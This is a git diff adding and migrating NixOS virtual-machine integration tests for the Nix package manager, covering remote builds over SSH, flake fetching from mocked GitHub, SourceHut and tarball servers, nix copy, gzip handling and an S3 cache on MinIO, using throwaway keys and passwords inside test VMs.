file mode 100644 index 000000000..51fd76884 --- /dev/null +++ b/tests/nixos/functional/common.nix @@ -0,0 +1,71 @@ +{ lib, ... }: + +let + # FIXME (roberth) reference issue + inputDerivation = pkg: (pkg.overrideAttrs (o: { + disallowedReferences = [ ]; + })).inputDerivation; + +in +{ + # We rarely change the script in a way that benefits from type checking, so + # we skip it to save time. + skipTypeCheck = true; + + nodes.machine = { config, pkgs, ... }: { + + virtualisation.writableStore = true; + system.extraDependencies = [ + (inputDerivation config.nix.package) + ]; + + nix.settings.substituters = lib.mkForce []; + + environment.systemPackages = let + run-test-suite = pkgs.writeShellApplication { + name = "run-test-suite"; + runtimeInputs = [ pkgs.gnumake pkgs.jq pkgs.git ]; + text = '' + set -x + cat /proc/sys/fs/file-max + ulimit -Hn + ulimit -Sn + cd ~ + cp -r ${pkgs.nix.overrideAttrs (o: { + name = "nix-configured-source"; + outputs = [ "out" ]; + separateDebugInfo = false; + disallowedReferences = [ ]; + buildPhase = ":"; + checkPhase = ":"; + installPhase = '' + cp -r . $out + ''; + installCheckPhase = ":"; + fixupPhase = ":"; + doInstallCheck = true; + })} nix + chmod -R +w nix + cd nix + + # Tests we don't need + echo >tests/functional/plugins/local.mk + sed -i tests/functional/local.mk \ + -e 's!nix_tests += plugins\.sh!!' \ + -e 's!nix_tests += test-libstoreconsumer\.sh!!' \ + ; + + export isTestOnNixOS=1 + export version=${config.nix.package.version} + export NIX_REMOTE_=daemon + export NIX_REMOTE=daemon + export NIX_STORE=${builtins.storeDir} + make -j1 installcheck --keep-going + ''; + }; + in [ + run-test-suite + pkgs.git + ]; + }; +} diff --git a/tests/nixos/git-submodules.nix b/tests/nixos/git-submodules.nix new file mode 100644 index 000000000..570b1822b --- /dev/null +++ b/tests/nixos/git-submodules.nix @@ -0,0 +1,70 @@ +# Test Nix's remote build feature. + +{ lib, hostPkgs, ... }: + +{ + config = { + name = lib.mkDefault "git-submodules"; + + nodes = + { + remote = + { config, pkgs, ... }: + { + services.openssh.enable = true; + environment.systemPackages = [ pkgs.git ]; + }; + + client = + { config, lib, pkgs, ... }: + { + programs.ssh.extraConfig = "ConnectTimeout 30"; + environment.systemPackages = [ pkgs.git ]; + nix.extraOptions = "experimental-features = nix-command flakes"; + }; + }; + + testScript = { nodes }: '' + # fmt: off + import subprocess + + start_all() + + # Create an SSH key on the client. + subprocess.run([ + "${hostPkgs.openssh}/bin/ssh-keygen", "-t", "ed25519", "-f", "key", "-N", "" + ], capture_output=True, check=True) + client.succeed("mkdir -p -m 700 /root/.ssh") + client.copy_from_host("key", "/root/.ssh/id_ed25519") + client.succeed("chmod 600 /root/.ssh/id_ed25519") + + # Install the SSH key on the builders. + client.wait_for_unit("network.target") + + remote.succeed("mkdir -p -m 700 /root/.ssh") + remote.copy_from_host("key.pub", "/root/.ssh/authorized_keys") + remote.wait_for_unit("sshd") + client.succeed(f"ssh -o StrictHostKeyChecking=no {remote.name} 'echo hello world'") + + remote.succeed(""" + git init bar + git -C bar config user.email foobar@example.com + git -C bar config user.name Foobar + echo test >> bar/content + git -C bar add content + git -C bar commit -m 'Initial commit' + """) + + client.succeed(f""" + git init foo + git -C foo config user.email foobar@example.com + git -C foo config user.name Foobar + git -C foo submodule add root@{remote.name}:/tmp/bar sub + git -C foo add sub + git -C foo commit -m 'Add submodule' + """) + + client.succeed("nix --flake-registry \"\" flake prefetch 'git+file:///tmp/foo?submodules=1&ref=master'") + ''; + }; +} diff --git a/tests/github-flakes.nix b/tests/nixos/github-flakes.nix similarity index 80% rename from tests/github-flakes.nix rename to tests/nixos/github-flakes.nix index 43a4f1432..221045009 100644 --- a/tests/github-flakes.nix +++ b/tests/nixos/github-flakes.nix @@ -1,14 +1,9 @@ -{ nixpkgs, system, overlay }: - -with import (nixpkgs + "/nixos/lib/testing-python.nix") { - inherit system; - extraConfigurations = [ { nixpkgs.overlays = [ overlay ]; } ]; -}; - +{ lib, config, nixpkgs, ... }: let + pkgs = config.nodes.client.nixpkgs.pkgs; # Generate a fake root CA and a fake api.github.com / github.com / channels.nixos.org certificate. - cert = pkgs.runCommand "cert" { buildInputs = [ pkgs.openssl ]; } + cert = pkgs.runCommand "cert" { nativeBuildInputs = [ pkgs.openssl ]; } '' mkdir -p $out @@ -63,7 +58,7 @@ let mkdir -p $out/{commits,tarball} # Setup https://docs.github.com/en/rest/commits/commits#get-a-commit - echo '{"sha": "${private-flake-rev}"}' > $out/commits/HEAD + echo '{"sha": "${private-flake-rev}", "commit": {"tree": {"sha": "ffffffffffffffffffffffffffffffffffffffff"}}}' > $out/commits/HEAD # Setup tarball download via API dir=private-flake @@ -77,7 +72,7 @@ let mkdir -p $out/commits # Setup https://docs.github.com/en/rest/commits/commits#get-a-commit - echo '{"sha": "${nixpkgs.rev}"}' > $out/commits/HEAD + echo '{"sha": "${nixpkgs.rev}", "commit": {"tree": {"sha": "ffffffffffffffffffffffffffffffffffffffff"}}}' > $out/commits/HEAD ''; archive = pkgs.runCommand "nixpkgs-flake" {} @@ -87,13 +82,11 @@ let dir=NixOS-nixpkgs-${nixpkgs.shortRev} cp -prd ${nixpkgs} $dir # Set the correct timestamp in the tarball. - find $dir -print0 | xargs -0 touch -t ${builtins.substring 0 12 nixpkgs.lastModifiedDate}.${builtins.substring 12 2 nixpkgs.lastModifiedDate} -- + find $dir -print0 | xargs -0 touch -h -t ${builtins.substring 0 12 nixpkgs.lastModifiedDate}.${builtins.substring 12 2 nixpkgs.lastModifiedDate} -- tar cfz $out/archive/${nixpkgs.rev}.tar.gz $dir --hard-dereference ''; in -makeTest ( - { name = "github-flakes"; @@ -149,9 +142,9 @@ makeTest ( virtualisation.diskSize = 2048; virtualisation.additionalPaths = [ pkgs.hello pkgs.fuse ]; virtualisation.memorySize = 4096; - nix.binaryCaches = lib.mkForce [ ]; + nix.settings.substituters = lib.mkForce [ ]; nix.extraOptions = "experimental-features = nix-command flakes"; - networking.hosts.${(builtins.head nodes.github.config.networking.interfaces.eth1.ipv4.addresses).address} = + networking.hosts.${(builtins.head nodes.github.networking.interfaces.eth1.ipv4.addresses).address} = [ "channels.nixos.org" "api.github.com" "github.com" ]; security.pki.certificateFiles = [ "${cert}/ca.crt" ]; }; @@ -193,6 +186,15 @@ makeTest ( client.succeed("nix registry pin nixpkgs") client.succeed("nix flake metadata nixpkgs --tarball-ttl 0 >&2") + # Test fetchTree on a github URL. + hash = client.succeed(f"nix eval --no-trust-tarballs-from-git-forges --raw --expr '(fetchTree {info['url']}).narHash'") + assert hash == info['locked']['narHash'] + + # Fetching without a narHash should succeed if trust-github is set and fail otherwise. + client.succeed(f"nix eval --raw --expr 'builtins.fetchTree github:github:fancy-enterprise/private-flake/{info['revision']}'") + out = client.fail(f"nix eval --no-trust-tarballs-from-git-forges --raw --expr 'builtins.fetchTree github:github:fancy-enterprise/private-flake/{info['revision']}' 2>&1") + assert "will not fetch unlocked input" in out, "--no-trust-tarballs-from-git-forges did not fail with the expected error" + # Shut down the web server. The flake should be cached on the client. github.succeed("systemctl stop httpd.service") @@ -207,4 +209,4 @@ makeTest ( client.succeed("nix build nixpkgs#fuse --tarball-ttl 0") ''; -}) +} diff --git a/tests/nixos/gzip-content-encoding.nix b/tests/nixos/gzip-content-encoding.nix new file mode 100644 index 000000000..a5a0033fd --- /dev/null +++ b/tests/nixos/gzip-content-encoding.nix @@ -0,0 +1,71 @@ +# Test that compressed files fetched from server with compressed responses +# do not get excessively decompressed. +# E.g. fetching a zstd compressed tarball from a server, +# which compresses the response with `Content-Encoding: gzip`. +# The expected result is that the fetched file is a zstd archive. + +{ lib, config, ... }: + +let + pkgs = config.nodes.machine.nixpkgs.pkgs; + + ztdCompressedFile = pkgs.stdenv.mkDerivation { + name = "dummy-zstd-compressed-archive"; + dontUnpack = true; + nativeBuildInputs = with pkgs; [ zstd ]; + buildPhase = '' + mkdir archive + for _ in {1..100}; do echo "lorem" > archive/file1; done + for _ in {1..100}; do echo "ipsum" > archive/file2; done + tar --zstd -cf archive.tar.zst archive + ''; + installPhase = '' + install -Dm 644 -T archive.tar.zst $out/share/archive + ''; + }; + + fileCmd = "${pkgs.file}/bin/file"; +in + +{ + name = "gzip-content-encoding"; + + nodes = + { machine = + { config, pkgs, ... }: + { networking.firewall.allowedTCPPorts = [ 80 ]; + + services.nginx.enable = true; + services.nginx.virtualHosts."localhost" = + { root = "${ztdCompressedFile}/share/"; + # Make sure that nginx really tries to compress the + # file on the fly with no regard to size/mime. + # http://nginx.org/en/docs/http/ngx_http_gzip_module.html + extraConfig = '' + gzip on; + gzip_types *; + gzip_proxied any; + gzip_min_length 0; + ''; + }; + virtualisation.writableStore = true; + virtualisation.additionalPaths = with pkgs; [ file ]; + nix.settings.substituters = lib.mkForce [ ]; + }; + }; + + # Check that when nix-prefetch-url is used with a zst tarball it does not get decompressed. + testScript = { nodes }: '' + # fmt: off + start_all() + + machine.wait_for_unit("nginx.service") + machine.succeed(""" + # Make sure that the file is properly compressed as the test would be meaningless otherwise + curl --compressed -v http://localhost/archive |& tr -s ' ' |& grep --ignore-case 'content-encoding: gzip' + archive_path=$(nix-prefetch-url http://localhost/archive --print-path | tail -n1) + [[ $(${fileCmd} --brief --mime-type $archive_path) == "application/zstd" ]] + tar --zstd -xf $archive_path + """) + ''; +} diff --git a/tests/nix-copy-closure.nix b/tests/nixos/nix-copy-closure.nix similarity index 88% rename from tests/nix-copy-closure.nix rename to tests/nixos/nix-copy-closure.nix index ba8b2cfc9..b9daa0a1f 100644 --- a/tests/nix-copy-closure.nix +++ b/tests/nixos/nix-copy-closure.nix @@ -1,13 +1,16 @@ # Test ‘nix-copy-closure’. -{ nixpkgs, system, overlay }: +{ lib, config, nixpkgs, ... }: -with import (nixpkgs + "/nixos/lib/testing-python.nix") { - inherit system; - extraConfigurations = [ { nixpkgs.overlays = [ overlay ]; } ]; -}; +let + pkgs = config.nodes.client.nixpkgs.pkgs; -makeTest (let pkgA = pkgs.cowsay; pkgB = pkgs.wget; pkgC = pkgs.hello; pkgD = pkgs.tmux; in { + pkgA = pkgs.cowsay; + pkgB = pkgs.wget; + pkgC = pkgs.hello; + pkgD = pkgs.tmux; + +in { name = "nix-copy-closure"; nodes = @@ -15,7 +18,7 @@ makeTest (let pkgA = pkgs.cowsay; pkgB = pkgs.wget; pkgC = pkgs.hello; pkgD = pk { config, lib, pkgs, ... }: { virtualisation.writableStore = true; virtualisation.additionalPaths = [ pkgA pkgD.drvPath ]; - nix.binaryCaches = lib.mkForce [ ]; + nix.settings.substituters = lib.mkForce [ ]; }; server = @@ -74,4 +77,4 @@ makeTest (let pkgA = pkgs.cowsay; pkgB = pkgs.wget; pkgC = pkgs.hello; pkgD = pk # ) # client.succeed("nix-store --check-validity ${pkgC}") ''; -}) +} diff --git a/tests/nixos/nix-copy.nix b/tests/nixos/nix-copy.nix new file mode 100644 index 000000000..7db5197aa --- /dev/null +++ b/tests/nixos/nix-copy.nix @@ -0,0 +1,108 @@ +# Test that ‘nix copy’ works over ssh. +# Run interactively with: +# rm key key.pub; nix run .#hydraJobs.tests.nix-copy.driverInteractive + +{ lib, config, nixpkgs, hostPkgs, ... }: + +let + pkgs = config.nodes.client.nixpkgs.pkgs; + + pkgA = pkgs.cowsay; + pkgB = pkgs.wget; + pkgC = pkgs.hello; + pkgD = pkgs.tmux; + +in { + name = "nix-copy"; + + enableOCR = true; + + nodes = + { client = + { config, lib, pkgs, ... }: + { virtualisation.writableStore = true; + virtualisation.additionalPaths = [ pkgA pkgD.drvPath ]; + nix.settings.substituters = lib.mkForce [ ]; + nix.settings.experimental-features = [ "nix-command" ]; + services.getty.autologinUser = "root"; + programs.ssh.extraConfig = '' + Host * + ControlMaster auto + ControlPath ~/.ssh/master-%h:%r@%n:%p + ControlPersist 15m + ''; + }; + + server = + { config, pkgs, ... }: + { services.openssh.enable = true; + services.openssh.settings.PermitRootLogin = "yes"; + users.users.root.password = "foobar"; + virtualisation.writableStore = true; + virtualisation.additionalPaths = [ pkgB pkgC ]; + }; + }; + + testScript = { nodes }: '' + # fmt: off + import subprocess + + # Create an SSH key on the client. + subprocess.run([ + "${pkgs.openssh}/bin/ssh-keygen", "-t", "ed25519", "-f", "key", "-N", "" + ], capture_output=True, check=True) + + start_all() + + server.wait_for_unit("sshd") + client.wait_for_unit("network.target") + client.wait_for_unit("getty@tty1.service") + # Either the prompt: ]# + # or an OCR misreading of it: 1# + client.wait_for_text("[]1]#") + + # Copy the closure of package A from the client to the server using password authentication, + # and check that all prompts are visible + server.fail("nix-store --check-validity ${pkgA}") + client.send_chars("nix copy --to ssh://server ${pkgA} >&2; echo done\n") + client.wait_for_text("continue connecting") + client.send_chars("yes\n") + client.wait_for_text("Password:") + client.send_chars("foobar\n") + client.wait_for_text("done") + server.succeed("nix-store --check-validity ${pkgA}") + + # Check that ControlMaster is working + client.send_chars("nix copy --to ssh://server ${pkgA} >&2; echo done\n") + client.wait_for_text("done") + + client.copy_from_host("key", "/root/.ssh/id_ed25519") + client.succeed("chmod 600 /root/.ssh/id_ed25519") + + # Install the SSH key on the server. + server.copy_from_host("key.pub", "/root/.ssh/authorized_keys") + server.succeed("systemctl restart sshd") + client.succeed(f"ssh -o StrictHostKeyChecking=no {server.name} 'echo hello world'") + client.succeed(f"ssh -O check {server.name}") + client.succeed(f"ssh -O exit {server.name}") + client.fail(f"ssh -O check {server.name}") + + # Check that an explicit master will work + client.succeed(f"ssh -MNfS /tmp/master {server.name}") + client.succeed(f"ssh -S /tmp/master -O check {server.name}") + client.succeed("NIX_SSHOPTS='-oControlPath=/tmp/master' nix copy --to ssh://server ${pkgA} >&2") + client.succeed(f"ssh -S /tmp/master -O exit {server.name}") + + # Copy the closure of package B from the server to the client, using ssh-ng. + client.fail("nix-store --check-validity ${pkgB}") + # Shouldn't download untrusted paths by default + client.fail("nix copy --from ssh-ng://server ${pkgB} >&2") + client.succeed("nix copy --no-check-sigs --from ssh-ng://server ${pkgB} >&2") + client.succeed("nix-store --check-validity ${pkgB}") + + # Copy the derivation of package D's derivation from the client to the server. + server.fail("nix-store --check-validity ${pkgD.drvPath}") + client.succeed("nix copy --derivation --to ssh://server ${pkgD.drvPath} >&2") + server.succeed("nix-store --check-validity ${pkgD.drvPath}") + ''; +} diff --git a/tests/nss-preload.nix b/tests/nixos/nss-preload.nix similarity index 86% rename from tests/nss-preload.nix rename to tests/nixos/nss-preload.nix index 64b655ba2..610769c8d 100644 --- a/tests/nss-preload.nix +++ b/tests/nixos/nss-preload.nix @@ -1,11 +1,9 @@ -{ nixpkgs, system, overlay }: - -with import (nixpkgs + "/nixos/lib/testing-python.nix") { - inherit system; - extraConfigurations = [ { nixpkgs.overlays = [ overlay ]; } ]; -}; +{ lib, config, nixpkgs, ... }: let + + pkgs = config.nodes.client.nixpkgs.pkgs; + nix-fetch = pkgs.writeText "fetch.nix" '' derivation { # This derivation is an copy from what is available over at @@ -34,6 +32,7 @@ let impureEnvVars = [ "http_proxy" "https_proxy" "ftp_proxy" "all_proxy" "no_proxy" + "HTTP_PROXY" "HTTPS_PROXY" "FTP_PROXY" "ALL_PROXY" "NO_PROXY" ]; urls = [ "http://example.com" ]; @@ -41,9 +40,7 @@ let ''; in -makeTest ( - -rec { +{ name = "nss-preload"; nodes = { @@ -88,8 +85,8 @@ rec { client = { lib, nodes, pkgs, ... }: { networking.useDHCP = false; networking.nameservers = [ - (lib.head nodes.http_dns.config.networking.interfaces.eth1.ipv6.addresses).address - (lib.head nodes.http_dns.config.networking.interfaces.eth1.ipv4.addresses).address + (lib.head nodes.http_dns.networking.interfaces.eth1.ipv6.addresses).address + (lib.head nodes.http_dns.networking.interfaces.eth1.ipv4.addresses).address ]; networking.interfaces.eth1.ipv6.addresses = [ { address = "fd21::10"; prefixLength = 64; } @@ -98,9 +95,9 @@ rec { { address = "192.168.0.10"; prefixLength = 24; } ]; - nix.sandboxPaths = lib.mkForce []; - nix.binaryCaches = lib.mkForce []; - nix.useSandbox = lib.mkForce true; + nix.settings.extra-sandbox-paths = lib.mkForce []; + nix.settings.substituters = lib.mkForce []; + nix.settings.sandbox = lib.mkForce true; }; }; @@ -122,4 +119,4 @@ rec { nix-build ${nix-fetch} >&2 """) ''; -}) +} diff --git a/tests/nixos/remote-builds-ssh-ng.nix b/tests/nixos/remote-builds-ssh-ng.nix new file mode 100644 index 000000000..926ec00fe --- /dev/null +++ b/tests/nixos/remote-builds-ssh-ng.nix @@ -0,0 +1,124 @@ +test@{ config, lib, hostPkgs, ... }: + +let + pkgs = config.nodes.client.nixpkgs.pkgs; + + # Trivial Nix expression to build remotely. + expr = config: nr: pkgs.writeText "expr.nix" + '' + let utils = builtins.storePath ${config.system.build.extraUtils}; in + derivation { + name = "hello-${toString nr}"; + system = "i686-linux"; + PATH = "''${utils}/bin"; + builder = "''${utils}/bin/sh"; + args = [ "-c" "${ + lib.concatStringsSep "; " [ + ''if [[ -n $NIX_LOG_FD ]]'' + ''then echo '@nix {\"action\":\"setPhase\",\"phase\":\"buildPhase\"}' >&''$NIX_LOG_FD'' + "fi" + "echo Hello" + "mkdir $out" + "cat /proc/sys/kernel/hostname > $out/host" + ] + }" ]; + outputs = [ "out" ]; + } + ''; +in + +{ + options = { + builders.config = lib.mkOption { + type = lib.types.deferredModule; + description = '' + Configuration to add to the builder nodes. + ''; + default = { }; + }; + }; + + config = { + name = lib.mkDefault "remote-builds-ssh-ng"; + + nodes = + { + builder = + { config, pkgs, ... }: + { + imports = [ test.config.builders.config ]; + services.openssh.enable = true; + virtualisation.writableStore = true; + nix.settings.sandbox = true; + nix.settings.substituters = lib.mkForce [ ]; + }; + + client = + { config, lib, pkgs, ... }: + { + nix.settings.max-jobs = 0; # force remote building + nix.distributedBuilds = true; + nix.buildMachines = + [{ + hostName = "builder"; + sshUser = "root"; + sshKey = "/root/.ssh/id_ed25519"; + system = "i686-linux"; + maxJobs = 1; + protocol = "ssh-ng"; + }]; + virtualisation.writableStore = true; + virtualisation.additionalPaths = [ config.system.build.extraUtils ]; + nix.settings.substituters = lib.mkForce [ ]; + programs.ssh.extraConfig = "ConnectTimeout 30"; + }; + }; + + testScript = { nodes }: '' + # fmt: off + import subprocess + + start_all() + + # Create an SSH key on the client. + subprocess.run([ + "${hostPkgs.openssh}/bin/ssh-keygen", "-t", "ed25519", "-f", "key", "-N", "" + ], capture_output=True, check=True) + client.succeed("mkdir -p -m 700 /root/.ssh") + client.copy_from_host("key", "/root/.ssh/id_ed25519") + client.succeed("chmod 600 /root/.ssh/id_ed25519") + + # Install the SSH key on the builder. + client.wait_for_unit("network.target") + builder.succeed("mkdir -p -m 700 /root/.ssh") + builder.copy_from_host("key.pub", "/root/.ssh/authorized_keys") + builder.wait_for_unit("sshd") + client.succeed(f"ssh -o StrictHostKeyChecking=no {builder.name} 'echo hello world'") + + # Perform a build + out = client.succeed("nix-build ${expr nodes.client 1} 2> build-output") + + # Verify that the build was done on the builder + builder.succeed(f"test -e {out.strip()}") + + # Print the build log, prefix the log lines to avoid nix intercepting lines starting with @nix + buildOutput = client.succeed("sed -e 's/^/build-output:/' build-output") + print(buildOutput) + + # Make sure that we get the expected build output + client.succeed("grep -qF Hello build-output") + + # We don't want phase reporting in the build output + client.fail("grep -qF '@nix' build-output") + + # Get the log file + client.succeed(f"nix-store --read-log {out.strip()} > log-output") + # Prefix the log lines to avoid nix intercepting lines starting with @nix + logOutput = client.succeed("sed -e 's/^/log-file:/' log-output") + print(logOutput) + + # Check that we get phase reporting in the log file + client.succeed("grep -q '@nix {\"action\":\"setPhase\",\"phase\":\"buildPhase\"}' log-output") + ''; + }; +} diff --git a/tests/nixos/remote-builds.nix b/tests/nixos/remote-builds.nix new file mode 100644 index 000000000..8ddf6ad02 --- /dev/null +++ b/tests/nixos/remote-builds.nix @@ -0,0 +1,138 @@ +# Test Nix's remote build feature. + +test@{ config, lib, hostPkgs, ... }: + +let + pkgs = config.nodes.client.nixpkgs.pkgs; + + # The configuration of the remote builders. + builder = + { config, pkgs, ... }: + { + imports = [ test.config.builders.config ]; + services.openssh.enable = true; + virtualisation.writableStore = true; + nix.settings.sandbox = true; + + # Regression test for use of PID namespaces when /proc has + # filesystems mounted on top of it + # (i.e. /proc/sys/fs/binfmt_misc). + boot.binfmt.emulatedSystems = [ "aarch64-linux" ]; + }; + + # Trivial Nix expression to build remotely. + expr = config: nr: pkgs.writeText "expr.nix" + '' + let utils = builtins.storePath ${config.system.build.extraUtils}; in + derivation { + name = "hello-${toString nr}"; + system = "i686-linux"; + PATH = "''${utils}/bin"; + builder = "''${utils}/bin/sh"; + args = [ "-c" "if [ ${toString nr} = 5 ]; then echo FAIL; exit 1; fi; echo Hello; mkdir $out $foo; cat /proc/sys/kernel/hostname > $out/host; ln -s $out $foo/bar; sleep 10" ]; + outputs = [ "out" "foo" ]; + } + ''; + +in + +{ + options = { + builders.config = lib.mkOption { + type = lib.types.deferredModule; + description = '' + Configuration to add to the builder nodes. + ''; + default = { }; + }; + }; + + config = { + name = lib.mkDefault "remote-builds"; + + nodes = + { + builder1 = builder; + builder2 = builder; + + client = + { config, lib, pkgs, ... }: + { + nix.settings.max-jobs = 0; # force remote building + nix.distributedBuilds = true; + nix.buildMachines = + [ + { + hostName = "builder1"; + sshUser = "root"; + sshKey = "/root/.ssh/id_ed25519"; + system = "i686-linux"; + maxJobs = 1; + } + { + hostName = "builder2"; + sshUser = "root"; + sshKey = "/root/.ssh/id_ed25519"; + system = "i686-linux"; + maxJobs = 1; + } + ]; + virtualisation.writableStore = true; + virtualisation.additionalPaths = [ config.system.build.extraUtils ]; + nix.settings.substituters = lib.mkForce [ ]; + programs.ssh.extraConfig = "ConnectTimeout 30"; + }; + }; + + testScript = { nodes }: '' + # fmt: off + import subprocess + + start_all() + + # Create an SSH key on the client. + subprocess.run([ + "${hostPkgs.openssh}/bin/ssh-keygen", "-t", "ed25519", "-f", "key", "-N", "" + ], capture_output=True, check=True) + client.succeed("mkdir -p -m 700 /root/.ssh") + client.copy_from_host("key", "/root/.ssh/id_ed25519") + client.succeed("chmod 600 /root/.ssh/id_ed25519") + + # Install the SSH key on the builders. + client.wait_for_unit("network.target") + for builder in [builder1, builder2]: + builder.succeed("mkdir -p -m 700 /root/.ssh") + builder.copy_from_host("key.pub", "/root/.ssh/authorized_keys") + builder.wait_for_unit("sshd") + # Make sure the builder can handle our login correctly + builder.wait_for_unit("multi-user.target") + # Make sure there's no funny business on the client either + # (should not be necessary, but we have reason to be careful) + client.wait_for_unit("multi-user.target") + client.succeed(f""" + ssh -o StrictHostKeyChecking=no {builder.name} \ + 'echo hello world on $(hostname)' >&2 + """) + + # Perform a build and check that it was performed on the builder. + out = client.succeed( + "nix-build ${expr nodes.client 1} 2> build-output", + "grep -q Hello build-output" + ) + builder1.succeed(f"test -e {out}") + + # And a parallel build. + paths = client.succeed(r'nix-store -r $(nix-instantiate ${expr nodes.client 2})\!out $(nix-instantiate ${expr nodes.client 3})\!out') + out1, out2 = paths.split() + builder1.succeed(f"test -e {out1} -o -e {out2}") + builder2.succeed(f"test -e {out1} -o -e {out2}") + + # And a failing build. + client.fail("nix-build ${expr nodes.client 5}") + + # Test whether the build hook automatically skips unavailable builders. + builder1.block() + client.succeed("nix-build ${expr nodes.client 4}") + ''; + }; +} diff --git a/tests/nixos/s3-binary-cache-store.nix b/tests/nixos/s3-binary-cache-store.nix new file mode 100644 index 000000000..015457968 --- /dev/null +++ b/tests/nixos/s3-binary-cache-store.nix @@ -0,0 +1,63 @@ +{ lib, config, nixpkgs, ... }: + +let + pkgs = config.nodes.client.nixpkgs.pkgs; + + pkgA = pkgs.cowsay; + + accessKey = "BKIKJAA5BMMU2RHO6IBB"; + secretKey = "V7f1CwQqAcwo80UEIJEjc5gVQUSSx5ohQ9GSrr12"; + env = "AWS_ACCESS_KEY_ID=${accessKey} AWS_SECRET_ACCESS_KEY=${secretKey}"; + + storeUrl = "s3://my-cache?endpoint=http://server:9000®ion=eu-west-1"; + +in { + name = "nix-copy-closure"; + + nodes = + { server = + { config, lib, pkgs, ... }: + { virtualisation.writableStore = true; + virtualisation.additionalPaths = [ pkgA ]; + environment.systemPackages = [ pkgs.minio-client ]; + nix.extraOptions = "experimental-features = nix-command"; + services.minio = { + enable = true; + region = "eu-west-1"; + rootCredentialsFile = pkgs.writeText "minio-credentials-full" '' + MINIO_ROOT_USER=${accessKey} + MINIO_ROOT_PASSWORD=${secretKey} + ''; + }; + networking.firewall.allowedTCPPorts = [ 9000 ]; + }; + + client = + { config, pkgs, ... }: + { virtualisation.writableStore = true; + nix.extraOptions = "experimental-features = nix-command"; + }; + }; + + testScript = { nodes }: '' + # fmt: off + start_all() + + # Create a binary cache. + server.wait_for_unit("minio") + + server.succeed("mc config host add minio http://localhost:9000 ${accessKey} ${secretKey} --api s3v4") + server.succeed("mc mb minio/my-cache") + + server.succeed("${env} nix copy --to '${storeUrl}' ${pkgA}") + + # Copy a package from the binary cache. + client.fail("nix path-info ${pkgA}") + + client.succeed("${env} nix store info --store '${storeUrl}' >&2") + + client.succeed("${env} nix copy --no-check-sigs --from '${storeUrl}' ${pkgA}") + + client.succeed("nix path-info ${pkgA}") + ''; +} diff --git a/tests/setuid.nix b/tests/nixos/setuid.nix similarity index 91% rename from tests/setuid.nix rename to tests/nixos/setuid.nix index a83b1fc3a..2b66320dd 100644 --- a/tests/setuid.nix +++ b/tests/nixos/setuid.nix @@ -1,21 +1,20 @@ # Verify that Linux builds cannot create setuid or setgid binaries. -{ nixpkgs, system, overlay }: +{ lib, config, nixpkgs, ... }: -with import (nixpkgs + "/nixos/lib/testing-python.nix") { - inherit system; - extraConfigurations = [ { nixpkgs.overlays = [ overlay ]; } ]; -}; +let + pkgs = config.nodes.machine.nixpkgs.pkgs; -makeTest { +in +{ name = "setuid"; nodes.machine = { config, lib, pkgs, ... }: { virtualisation.writableStore = true; - nix.binaryCaches = lib.mkForce [ ]; + nix.settings.substituters = lib.mkForce [ ]; nix.nixPath = [ "nixpkgs=${lib.cleanSource pkgs.path}" ]; - virtualisation.additionalPaths = [ pkgs.stdenv pkgs.pkgsi686Linux.stdenv ]; + virtualisation.additionalPaths = [ pkgs.stdenvNoCC pkgs.pkgsi686Linux.stdenvNoCC ]; }; testScript = { nodes }: '' diff --git a/tests/sourcehut-flakes.nix b/tests/nixos/sourcehut-flakes.nix similarity index 90% rename from tests/sourcehut-flakes.nix rename to tests/nixos/sourcehut-flakes.nix index daa259dd6..04f3590e1 100644 --- a/tests/sourcehut-flakes.nix +++ b/tests/nixos/sourcehut-flakes.nix @@ -1,12 +1,8 @@ -{ nixpkgs, system, overlay }: - -with import (nixpkgs + "/nixos/lib/testing-python.nix") -{ - inherit system; - extraConfigurations = [{ nixpkgs.overlays = [ overlay ]; }]; -}; +{ lib, config, hostPkgs, nixpkgs, ... }: let + pkgs = config.nodes.sourcehut.nixpkgs.pkgs; + # Generate a fake root CA and a fake git.sr.ht certificate. cert = pkgs.runCommand "cert" { buildInputs = [ pkgs.openssl ]; } '' @@ -51,7 +47,7 @@ let cp -prd ${nixpkgs} $dir # Set the correct timestamp in the tarball. - find $dir -print0 | xargs -0 touch -t ${builtins.substring 0 12 nixpkgs.lastModifiedDate}.${builtins.substring 12 2 nixpkgs.lastModifiedDate} -- + find $dir -print0 | xargs -0 touch -h -t ${builtins.substring 0 12 nixpkgs.lastModifiedDate}.${builtins.substring 12 2 nixpkgs.lastModifiedDate} -- mkdir -p $out/archive tar cfz $out/archive/${nixpkgs.rev}.tar.gz $dir --hard-dereference @@ -64,8 +60,6 @@ let in -makeTest ( - { name = "sourcehut-flakes"; @@ -108,13 +102,13 @@ makeTest ( virtualisation.diskSize = 2048; virtualisation.additionalPaths = [ pkgs.hello pkgs.fuse ]; virtualisation.memorySize = 4096; - nix.binaryCaches = lib.mkForce [ ]; + nix.settings.substituters = lib.mkForce [ ]; nix.extraOptions = '' experimental-features = nix-command flakes flake-registry = https://git.sr.ht/~NixOS/flake-registry/blob/master/flake-registry.json ''; environment.systemPackages = [ pkgs.jq ]; - networking.hosts.${(builtins.head nodes.sourcehut.config.networking.interfaces.eth1.ipv4.addresses).address} = + networking.hosts.${(builtins.head nodes.sourcehut.networking.interfaces.eth1.ipv4.addresses).address} = [ "git.sr.ht" ]; security.pki.certificateFiles = [ "${cert}/ca.crt" ]; }; @@ -164,4 +158,4 @@ makeTest ( client.succeed("nix build nixpkgs#fuse --tarball-ttl 0") ''; - }) +} diff --git a/tests/nixos/tarball-flakes.nix b/tests/nixos/tarball-flakes.nix new file mode 100644 index 000000000..84cf377ec --- /dev/null +++ b/tests/nixos/tarball-flakes.nix @@ -0,0 +1,94 @@ +{ lib, config, nixpkgs, ... }: + +let + pkgs = config.nodes.machine.nixpkgs.pkgs; + + root = pkgs.runCommand "nixpkgs-flake" {} + '' + mkdir -p $out/{stable,tags} + + set -x + dir=nixpkgs-${nixpkgs.shortRev} + cp -prd ${nixpkgs} $dir + # Set the correct timestamp in the tarball. + find $dir -print0 | xargs -0 touch -h -t ${builtins.substring 0 12 nixpkgs.lastModifiedDate}.${builtins.substring 12 2 nixpkgs.lastModifiedDate} -- + tar cfz $out/stable/${nixpkgs.rev}.tar.gz $dir --hard-dereference + + # Set the "Link" header on the redirect but not the final response to + # simulate an S3-like serving environment where the final host cannot set + # arbitrary headers. + cat >$out/tags/.htaccess <; rel=\"immutable\"" + EOF + ''; +in + +{ + name = "tarball-flakes"; + + nodes = + { + machine = + { config, pkgs, ... }: + { networking.firewall.allowedTCPPorts = [ 80 ]; + + services.httpd.enable = true; + services.httpd.adminAddr = "foo@example.org"; + services.httpd.extraConfig = '' + ErrorLog syslog:local6 + ''; + services.httpd.virtualHosts."localhost" 